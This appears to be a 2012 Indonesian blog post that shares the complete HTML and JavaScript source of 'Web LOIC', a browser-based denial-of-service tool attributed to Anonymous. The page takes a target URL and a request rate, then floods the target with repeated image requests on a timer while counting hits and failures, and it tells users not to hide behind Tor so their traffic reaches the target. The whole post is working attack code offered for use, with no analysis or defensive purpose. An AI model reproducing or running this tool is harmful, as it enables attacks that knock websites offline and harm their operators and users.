Tuesday, August 28, 2012

Source Code Web Loic

Langsung Aja Berikut Ini Source Code Web Loic Dari Anonymouse...

<html>
<head>
<STYLE type="text/css">
body {background-color : black; color: white; text-align: center; width: 550px; margin: auto;}
 </STYLE>
</head>
<body>
<script type="text/javascript">
    function setAttributeOnload(object, attribute, val) {
      if(window.addEventListener) {
        window.addEventListener("load",
          function(){ object[attribute] = val; }, false);
      } else {
        window.attachEvent('onload', function(){ object[attribute] = val; });
      }
    }
</script>
<div align="center">
<h1>DO NOT USE TOR !</h1>
<h2>By using TOR, you hit the Tor exit node, not the target! Do not use it !<br />
  <br />
</h2>
</div>
        <div align="center">
          <fieldset style="width: 100%; height: 100%;">
            <legend><span class="Estilo3"><strong>Step 1. Select Target: </strong></span></legend>
        <div align="center">URL:</div>
        </label>
        </strong></span>

        <div align="center"><br />
              <input name="Our target" id="targetURL" style="width: 100%;" value="http://www.target.com"/>
          </div>
        </fieldset>

  <div align="center">
    <fieldset style="width: 100%; height: 100%;">
      <legend><span class="Estilo3"><strong>Step 2. AIM YOUR CANNONS!</strong></span></legend>
      <button id="fireButton" style="background-color:red; border-color: rgb(255, 255, 255); width: 240px; height: 100px;"> <h1>Fire !</h1> </button>
    </fieldset>

  </div>
         <div align="center">

           <fieldset style="width: 100%; height: 100%;">
              <legend><span class="Estilo3">Optional. Attack Options </span></legend>

         <div align="center">Requests per second:</div>
         <label> 
         <div align="center">
           <input style="width: 40px;" id="rps" value="100" />
         </div>
         </label> 
         <label>
         <div align="center"><span class="Estilo3"><strong>Message:</strong></span><br />
             <input id="message" style="width: 100%;" value="We Are Legion ! Expect us !" />
         </div>
         </label>
    </fieldset>
           <div align="center">
             <fieldset style="width: 100%; height: 100%;">
                        <legend><span class="Estilo3">Attack status:</span></legend>
               <dl>
                        <dt><strong>Request:</strong></dt>
                 <dd class="Estilo2" id="requestedCtr">0</dd>
                 <dt><strong>Achieved:</strong></dt>
                 <dd class="Estilo3" id="succeededCtr">0</dd>
                 <dt><strong>Failed:</strong></dt>
                 <dd class="Estilo2" id="failedCtr">0</dd>
               </dl>
             </fieldset>
           </div>
         </div>
<div align="center">
  <script>
        (function () {
            var fireInterval;
            var isFiring = false;
            var currentTime = new Date()
            var lastSuccess = currentTime.getTime();

            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");

            var targetURL = targetURLNode.value;
targetURLNode.onchange = function () {
targetURL = this.value;
};

            var requestsHT = {}; // requests hash table, may come in handy later

            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;

            var makeHttpRequest = function () {
                                        if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
                                                return;
                                        } else { lastSuccess = currentTime.getTime();};

                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
                    img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };
            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {

                    failedCtr++;
                    failedCtrNode.innerHTML = failedCtr;
                    succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser

                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);
                    isFiring = false;
                    this.innerHTML = "Fire Again!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop Shooting!";
                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
                        function FireIbero() {
                if (isFiring) {
                    clearInterval(fireInterval);
                    isFiring = false;
                    this.innerHTML = "Shoot Again!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";
                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };         })();
    </script>
</div>

</body>
</html> 


No comments:

Post a Comment